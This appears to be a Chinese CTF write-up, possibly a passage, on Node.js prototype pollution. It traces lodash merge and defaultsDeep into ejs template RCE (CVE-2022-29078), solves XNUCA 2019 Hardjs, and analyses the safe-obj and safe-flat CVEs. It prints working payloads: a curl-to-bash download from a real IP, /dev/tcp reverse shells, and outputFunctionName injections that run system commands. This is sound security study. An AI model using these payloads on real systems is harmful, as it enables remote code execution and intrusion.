那我们的思路就来了,我们可以通过/edit_note 路由污染note_list对象的原型,比如加入某个命令,由于 commands 和 note_list 都继承自同一个原型,那么在遍历 commands 时便会取到我们污染进去的恶意命令并执行。
在服务器上面创建一个反弹 Shell 的文件,然后等待目标主机去 Curl 访问并执行他:

在目标主机执行 Payload:
id=__proto__.a&author=curl http://1.15.75.117/shell.txt|bash&raw=a;
再访问 /status 路由,利用污染后的结果进行命令执行,成功反弹 Shell 并得到 flag
Lodash配合ejs模板引擎实现 RCE CVE-2022-29078
Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');
var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');
//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));
//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'sp4c1ous'
});
});
//设置http
var server = app.listen(8000, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
index.ejs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= message%></h1>
</body>
</html>

对原型链进行污染的部分就是这里的lodash.merge 操作,我们通过对 outputFunctionName 进行 原型链污染 后的赋值来实现 RCE ,语句为
"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'cat /flag\');var __tmp2"
下面我们开始分析。
我们从 index.js::res.render 处开始,跟进 render 方法:

跟进到 app.render 方法:

发现最终会进入到 app.render 方法里的 tryRender 函数,跟进到 tryRender:

调用了 view.render 方法,继续跟进 view.render :

至此调用了 engine,也就是说从这里进入到了模板渲染引擎 ejs.js 中。跟进 ejs.js 中的 renderFile 方法:

发现 renderFile 中又调用了tryHandleCache方法,跟进tryHandleCache:

进入到 handleCache 方法,跟进 handleCache:

在 handleCache 中找到了渲染模板的 compile 方法,跟进 compile:

找到了我们要找的outputFunctionName
发现在 compile 中存在大量的渲染拼接。这里将 opts.outputFunctionName 拼接到 prepended 中,prepended 在最后会被传递给 this.source 并被带入函数执行。所以如果我们能够污染 opts.outputFunctionName,就能将我们构造的 payload 拼接进 js 语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render 方法,其最终也是进入了 compile。最后给出几个 ejs 模板引擎 RCE 常用的 POC:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
[XNUCA 2019 Qualifier]Hardjs
/首页/static静态文件/sandbox显示用户HTML数据用的沙盒/login登陆/register注册/getjson接口 获取数据库中保存的数据/add用户添加数据的接口
除了/static,/login和/register以外,所有路由在访问的时候都会经过一个auth函数进行身份验证
另外在初始化的时候有这么一句
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
所以我们可以通过json格式传递参数到服务端
发现调用了 lodash ,而且版本4.17.11
{
"name": "htmlstore",
"version": "1.0.0",
"description": "htmlStore will help you store html file.",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^2.6.2",
"express": "^4.17.1",
"express-session": "^1.16.2",
"helmet": "^3.19.0",
"lodash": "4.17.11",
"mongodb": "^3.3.0-beta2",
"mysql": "^2.17.1",
"randomatic": "^3.1.1"
}
}
估计存在原型链污染漏洞,发现调用 lodash.defaultDeep 函数,

在/get中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起
相关的从express到ejs的利用连上面写了,不写了。
最终还是
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
这里的 outputFunctionName 这个参数未定义,并且被拼接入一路回传给prepended,this.source,src,fn,然后以returnedFn返回并最后被执行。
而一路跟进的时候可以发现,并没有outputFunctionName的身影,所以只要给 Object 的prototype加上这个成员,我们就可以实现从原型链污染到RCE的攻击过程了!
payload
{
"content": {
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/1.15.75.117/2333 0>&1\"');var __tmp2"
}
}
},
"type": "test"
}
发送6次请求,然后访问/get进行原型链污染,最后访问/或/login触发render函数,成功反弹shell并 getflag

safe-obj模块原型链污染
翻译很硬,没大看明白,这个模块需要lodash,但可以依稀的看出来这个模块是针对空对象的,也就是{}
CVE-2021-25928
POC
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);
我们在safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');处下个断点,单步执行结束后可以看到

可以看到成功在原型中添加了属性

分析一下
查看safe-objv1.0.0中lib/index.js中的extend函数定义如下。

首先我们传入的一定是一个对象,然后他也可以接收{},满足条件进入第二个循环
第一次调用expand函数,传参如下。
obj = {},path = "__proto__.polluted",thing = "Yes! Its Polluted"
执行split('.')函数后,props数组值如下,此时进入else分支。
props = (2) ["__proto__","polluted"],path = "__proto__.polluted"
执行prop.shift()语句后,prop的值如下。
prop = "__proto__",props = ["polluted"]
obj = {}
这样就跳过了if判断,递归调用expand
相当于执行
expand(obj[__proto__],"polluted","Yes! Its Polluted")
再次调用split(''.')后,
props的值为”polluted”。props.length===1结果为true,
执行obj[props.shift()]=thing,
props = ["polluted"], path = "polluted"
相当于执行obj[__proto__]["polluted"]="Yes! Its Polluted",造成原型污染。
CVE-2021-25927
该漏洞存在于safe-flat,v2.0.0~v2.0.1版本中,POC如下:
var safeFlat = require("safe-flat");
console.log("Before : " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After : " + {}.polluted);
